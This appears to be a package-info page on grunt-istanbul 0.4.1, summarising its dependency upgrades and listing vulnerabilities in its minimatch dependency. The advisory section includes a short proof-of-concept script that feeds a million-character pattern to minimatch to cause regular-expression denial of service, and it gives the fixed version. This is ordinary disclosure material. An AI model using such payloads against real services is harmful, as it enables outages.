Grunt-istanbul version 0.4.1 represents a notable incremental update over its predecessor, version 0.4.0, offering developers enhanced stability and feature improvements for JavaScript code coverage within their Grunt workflows. Released in March 2015, version 0.4.1 incorporates updated dependencies, reflecting advancements in the broader JavaScript ecosystem. Crucially, it upgrades Istanbul, the core code coverage tool, from version ~0.2.3 to ~0.3.7, bringing with it bug fixes, performance enhancements, and potentially new coverage metrics. Chalk, a library for terminal styling, is also updated from ~0.5.1 to ~1.0.0, likely contributing to improved readability and aesthetics in command-line output. Additionally, nue, a dependency related to reporting, sees an upgrade from 0.7.0-dev to 0.7.1 suggesting refinement and bug fixes in report generation.
Furthermore, the development dependencies have also undergone significant revisions. The updates in tools like grunt-contrib-jshint, grunt-contrib-nodeunit, grunt-contrib-clean, mkdirp, rimraf and dateformat, indicate a modernised the tooling ecosystem used by the grunt-istanbul developers. This suggests improvements in the reliability and efficiency of the plugin's development and testing processes. While both versions maintain compatibility with Grunt 0.4.5 (via peer dependency), the updated dependencies in 0.4.1 makes it a more robust and feature-rich choice for Javascript code coverage. Developers should upgrade to benefit from the latest Istanbul features and improved stability resulting from the updated dependency stack.
All the vulnerabilities related to the version 0.4.1 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.